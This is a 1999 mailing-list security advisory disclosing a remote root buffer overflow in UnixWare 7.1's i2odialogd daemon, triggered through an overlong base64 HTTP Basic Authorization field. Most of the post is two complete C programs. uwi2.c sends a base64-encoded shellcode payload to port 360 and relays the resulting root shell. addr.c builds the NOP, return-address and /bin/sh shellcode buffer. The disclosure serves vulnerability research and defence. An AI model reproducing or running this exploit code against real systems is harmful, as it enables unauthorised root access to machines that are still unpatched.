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UnixWare i2odialogd remote root exploit
From: btellier () USA NET (Brock Tellier)
Date: Wed, 22 Dec 1999 06:45:19 GMT


Greetings,

OVERVIEW
Anyone can gain remote root access to a UnixWare 7.1 system by exploiting 
a vulnerability in the i2odialogd daemon.  This daemon is installed and 
running by default.

BACKGROUND
I've only tested UnixWare 7.1.  OpenServer doesn't feature this particular
daemon, so it is not vulnerable.  I tried to make my UW7 install as
generic as possible, so I would imagine that this service is enabled by 
default after install.

DETAILS
The i2odialog daemon is an HTTP frontend to control the i2o subsystem.
Since a user who has control over this subsystem could do all sorts of
nasty things, SCO has wisely chosen to authenticate a potential user
against the local encrypted root password.  It does this via the standard

GET / HTTP/1.0
Authorization: Basic username:password\r\n\r\n

Unfortunatly, we have a classic buffer overflow in the username:password
field.  When fed a string of 88+ characters, we can segfault the daemon
and control EIP.  The only complication to this is the fact that according
to the relevant RFC's, the username:password pair must be base64(MIME) 
encoded.  Therefore we are forced to MIME encode our entire exploit
string.  In addition to this, the buffer we have to work with is very
small, so we'll be changing the order of NOP+SHELLCODE+ADDR to 
ADDR+NOP+SHELLCODE in order to give ourselves a wider range of usable
addresses.

EXPLOIT

Some notes about the exploit:

I couldn't manage to dig up any mimencode() functions that would be easily
usable in this program, so you're going to have to hard-code your exploit
string.  This means that if you want to change the return address from the
default I have below (and remember, I've only tested MY system), you're
going to have to MIME encode 92 bytes of addresses (or 88 bytes of garbage
and your 4-byte address), then some NOP's, then the shellcode, then 
a colon, any character and a NULL.  ADDR+NOP+SHELLCODE+:+A+0.  You must
then put this MIME-encoded string (don't forget that you must NOT append
a newline to the exploit string) into the program where I've marked.

Under UnixWare, you can use mimencode(1) to convert stdout from your
program into MIME-encoded text.  

I've included a program below which will produce the particular modified
exploit string you'll pipe through the mime encoder.

---uwi2.c---

/* uwi2.c
 *
 * i2o remote root exploit for UnixWare 7.1
 * compile on UnixWare with cc -o uwi2 uwi2.c -lsocket -lnsl
 * ./uwi2 <hostname> 
 * The hard-coded RET address is 0x8047d4c 
 *
 * To either replace the shellcode or change the offset you must 
 * first craft a program which outputs, in this order:
 * - 92 bytes of your RET address (EIP starts at 89)
 * - NOPs, as many as you would like
 * - your shellcode
 * - the character ":"
 * - any character, maybe "A", as I've done below
 * - NULL
 * When printf()'ing this string, do NOT append a \newline!
 * You then pipe the output of this program to a MIME encoder (mimencode 
 * on UnixWare).  You then take the output of this program and paste it
 * where I've marked below.
 *
 * Brock Tellier btellier () usa net
 *
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/errno.h>
#include <netdb.h>

#define BUFLEN 10000

/* since we're overflowing an Authenticate: Basic username */
/* our exploit code must be base64(MIME) encoded */

char *mimecode= 

/**** CHANGE THIS PART OF THE EXPLOIT STRING ****/
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
"kJCQkJCQTH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECEx9BAhMfQQITH0ECJCQkJCQkJCQ"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
"kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ6xteMduJXgeJXgyIXhExwLA7jX4HiflT"
"UVZW6xDo4P///y9iaW4vc2iqqqqqmqqqqqoHqpCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ"
"kJCQkJCQkJCQkJCQkJCQkJCQkDpB";
/************************************************/

char *auth=
"GET / HTTP/1.0\r\n"
"Host: localhost:360\r\n"
"Accept: text/html\r\n"
"Accept-Encoding: gzip, compress\r\n"
"Accept-Language: en\r\n"
"Negotiate: trans\r\n"
"User-Agent: xnec\r\n"
"Authorization: Basic";

char buf[BUFLEN];
char sockbuf[BUFLEN];
char c;
int offset=0;
int i, ascii,num;
int i2oport = 360;
int sock;
int addr = 0x80474b4;
struct  sockaddr_in sock_a;
struct  hostent *host;

void main (int argc, char *argv[]) {
        
 if(argc < 2) {
   fprintf(stderr, "Error:Usage: %s <hostname> \n", argv[0]);
   exit(0);
  }
 if(argc == 3) offset=atoi(argv[2]);
 
 sprintf(buf, "%s %s \r\n\r\n", auth, mimecode);
 buf[BUFLEN - 1] = 0;

 fprintf(stderr, "i2odialogd remote exploit for UnixWare 7.1\n");
 fprintf(stderr, "Brock Tellier btellier () usa net\n");

 if((host=(struct hostent *)gethostbyname(argv[1])) == NULL) {
    perror("gethostbyname"); 
    exit(-1);
  }
 
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
    perror("create socket");
    exit(-1);
  }

 sock_a.sin_family=AF_INET;
 sock_a.sin_port=htons(i2oport);
 memcpy((char *)&sock_a.sin_addr,(char *)host->h_addr,host->h_length);
 if(connect(sock,(struct sockaddr *)&sock_a,sizeof(sock_a))!=0) {
    perror("create connect");
    exit(-1);
  }

  fflush(stdout);

  // write exploit
  write(sock,buf,strlen(buf));

  //begin read
  while(1) {
    fd_set input;
    FD_SET(0,&input);
    FD_SET(sock,&input);
    select(sock+1,&input,NULL,NULL,NULL);

    if(FD_ISSET(sock,&input)) {
      num=read(sock,sockbuf,BUFLEN);
      write(1,sockbuf,num);
     }
     if(FD_ISSET(0,&input))
     write(sock,sockbuf,read(0,sockbuf,BUFLEN));
  }
}

------

--- addr.c ---

/* 
 * addr.c - Add-on for the UnixWare 7.1 remote root exploit in i2dialogd
 * simply MIME encode the output of this program and put into the 
 * appropriate place in uwi2.c
 * 
 * Usage: cc -o addr addr.c; ./addr <offset> <size>
 *
 * Brock Tellier btellier () usa net
*/

#include <stdio.h>
#define NOP 0x90

char scoshell[]= 
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

void main(int argc, char *argv[]) {

long addr;
char buf[2000];
int i;
int offset;
int size = 400;

if (argc > 1) offset = atoi(argv[1]);
if (argc > 2) size = atoi(argv[2]);

addr=0x8046000 + offset;
memset(buf, NOP, size);
for(i=60;i<100;i+=4)*(int *)&buf[i]=addr;
for(i = 0; i < strlen(scoshell); i++)
   buf[i+300] = scoshell[i];
buf[size - 3] = ':'; 
buf[size - 2] = 'A';
buf[size - 1] = 0;
fprintf(stderr, "using addr 0x%x with offset %d \n", addr, offset);
fprintf(stderr, "mime-encode the stdoutput!\n");
printf(buf);

}
------

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier () usa net

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